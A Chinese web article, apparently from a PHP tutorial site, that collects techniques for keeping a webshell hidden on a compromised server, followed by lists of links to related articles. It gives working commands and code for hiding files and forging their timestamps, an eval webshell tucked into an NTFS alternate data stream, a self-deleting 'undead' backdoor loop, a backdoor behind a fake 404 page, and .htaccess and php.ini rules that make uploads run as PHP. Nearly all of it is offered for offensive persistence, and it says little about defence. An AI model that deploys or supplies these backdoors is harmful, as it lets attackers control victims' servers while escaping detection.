PHP后门隐藏的一些技巧总结


Posted in PHP onNovember 04, 2020

前言

如果想让自己的Webshell留的更久一些,除了Webshell要免杀,还需要注意一些隐藏技巧,比如隐藏文件,修改时间属性,隐藏文件内容等。

1、隐藏文件

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

attrib +s +a +h +r shell.php //隐藏shell.php文件

2、修改文件时间属性

当你试图在一堆文件中隐藏自己新创建的文件,那么,除了创建一个迷惑性的文件名,还需要修改文件的修改日期。

//修改时间修改
Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"
//访问时间修改
Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"
//创建时间修改
Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"

使用命令获取文件属性

Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force

修改某个文件夹下所有文件的创建和修改时间

powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"

3、利用ADS隐藏文件内容

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。

利用include函数,将index.php:hidden.jpg进行hex编码,把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。

<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>

4、不死马

不死马会删除自身,以进程的形式循环创建隐蔽的后门。

<?php
set_time_limit(0); 
ignore_user_abort(1); 
unlink(__FILE__); //删除自身
while(1)
{ 
 file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php,这里最好用免杀的一句话
 sleep(10); //间隔时间
}
?>

处理方式最简单有效的办法,就是重启服务就可以删除webshell文件。

5、中间件后门

将编译好的so文件复制到modules文件夹,启动后门模块,重启Apache。当发送特定参数的字符串过去时,即可触发后门。

github项目地址:

https://github.com/VladRico/apache2_BackdoorMod

6、利用404页面隐藏后门

404页面主要用来提升用户体验,可用来隐藏后门文件。

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

7、利用 .htaccess 文件构成PHP后门

一般.htaccess可以用来留后门和针对黑名单绕过,在上传目录创建.htaccess 文件写入,无需重启即可生效,上传png文件解析。

AddType application/x-httpd-php .png

另外,在.htaccess 加入php解析规则,把文件名包含1的解析成php,上传1.txt即可解析。

<FilesMatch "1"> 
SetHandler application/x-httpd-php 
</FilesMatch>

8、利用 php.ini 隐藏后门文件

php.ini 中可以指定在主文件执行前后自动解析的文件名称,常用于页面公共头部和尾部,也可以用来隐藏php后门。

;在PHP文档之前自动添加文件。
auto_prepend_file = "c:\tmp.txt"
;在PHP文档之后自动添加文件。
auto_prepend_file = "c:\tmp.txt"

需重启服务生效,访问任意一个php文件即可获取webshell。

总结

到此这篇关于PHP后门隐藏的一些技巧的文章就介绍到这了,更多相关PHP后门隐藏技巧内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

PHP 相关文章推荐
PHP 编程请选择正确的文本编辑软件
Dec 21 PHP
PHP执行速率优化技巧小结
Mar 15 PHP
php下实现一个阿拉伯数字转中文数字的函数
Jul 10 PHP
php array_filter除去数组中的空字符元素
Jun 21 PHP
mysql,mysqli,PDO的各自不同介绍
Sep 19 PHP
PHP实现读取一个1G的文件大小
Aug 24 PHP
php操作mysqli(示例代码)
Oct 28 PHP
PHP中执行MYSQL事务解决数据写入不完整等情况
Jan 07 PHP
Zend Framework实现多文件上传功能实例
Mar 21 PHP
yii2高级应用之自定义组件实现全局使用图片上传功能的方法
Oct 08 PHP
浅谈PHP中类和对象的相关函数
Apr 26 PHP
Laravel中使用Queue的最基本操作教程
Dec 27 PHP
phpstudy2020搭建站点的实现示例
Oct 30 #PHP
解决PHPstudy Apache无法启动的问题【亲测有效】
Oct 30 #PHP
PhpStorm 2020.3:新增开箱即用的PHP 8属性(推荐)
Oct 30 #PHP
2020最新版 PhpStudy V8.1版本下载安装使用详解
Oct 30 #PHP
PHP fopen中文文件名乱码问题解决方案
Oct 28 #PHP
PHP dirname功能及原理实例解析
Oct 28 #PHP
基于ThinkPHP删除目录及目录文件函数
Oct 28 #PHP
You might like
overlord人气高涨,却被菲利普频繁举报,第四季很难在国内上映
2020/05/06 日漫
php若干单维数组遍历方法的比较
2011/09/20 PHP
PHP中将字符串转化为整数(int) intval() printf() 性能测试
2020/03/20 PHP
php Ubb代码编辑器函数代码
2012/07/05 PHP
一组PHP加密解密函数分享
2014/06/05 PHP
php实现Mongodb自定义方式生成自增ID的方法
2015/03/23 PHP
php微信公众平台开发之微信群发信息
2016/09/13 PHP
php+javascript实现的动态显示服务器运行程序进度条功能示例
2017/08/07 PHP
thinkPHP5框架自定义验证器实现方法分析
2018/06/11 PHP
ext 同步和异步示例代码
2009/09/18 Javascript
jQuery创建自己的插件(自定义插件)的方法
2010/06/10 Javascript
jquery 插件开发备注
2010/08/27 Javascript
jQuery使用hide方法隐藏页面上指定元素的方法
2015/03/30 Javascript
jQuery+HTML5加入购物车代码分享
2020/10/29 Javascript
jQuery实现带渐显效果的人物多级关系图代码
2015/10/16 Javascript
基于JavaScript实现百叶窗动画效果不只单纯flas可以实现
2016/02/29 Javascript
js判断空对象的实例(超简单)
2016/07/26 Javascript
js无法获取到html标签的属性的解决方法
2016/07/26 Javascript
jQuery如何跳转到另一个网页 就这么简单
2016/12/28 Javascript
详解基于vue-cli优化的webpack配置
2017/11/06 Javascript
Angular4自制一个市县二级联动组件示例
2017/11/21 Javascript
解决easyui日期时间框ie的兼容的问题
2018/03/01 Javascript
vue+express+jwt持久化登录的方法
2019/06/14 Javascript
js基础之事件捕获与冒泡原理
2019/10/09 Javascript
js实现随机抽奖
2020/03/19 Javascript
Python获取本机所有网卡ip,掩码和广播地址实例代码
2018/01/22 Python
利用Python绘制Jazz网络图的例子
2019/11/21 Python
收集的22款给力的HTML5和CSS3帮助工具
2012/09/14 HTML / CSS
Mistine官方海外旗舰店:泰国国民彩妆品牌
2016/12/28 全球购物
Uber Eats台湾:寻找附近提供送餐服务的餐厅
2018/05/07 全球购物
浙大网新C/C++面试解惑
2015/05/27 面试题
旅游管理本科生求职信
2013/10/14 职场文书
小学生九一八纪念日83周年演讲稿500字
2014/09/17 职场文书
税务干部群众路线教育实践活动对照检查材料
2014/09/20 职场文书
2014党的群众路线教育实践活动总结报告
2014/10/31 职场文书
浅谈JavaScript浅拷贝和深拷贝
2021/11/07 Javascript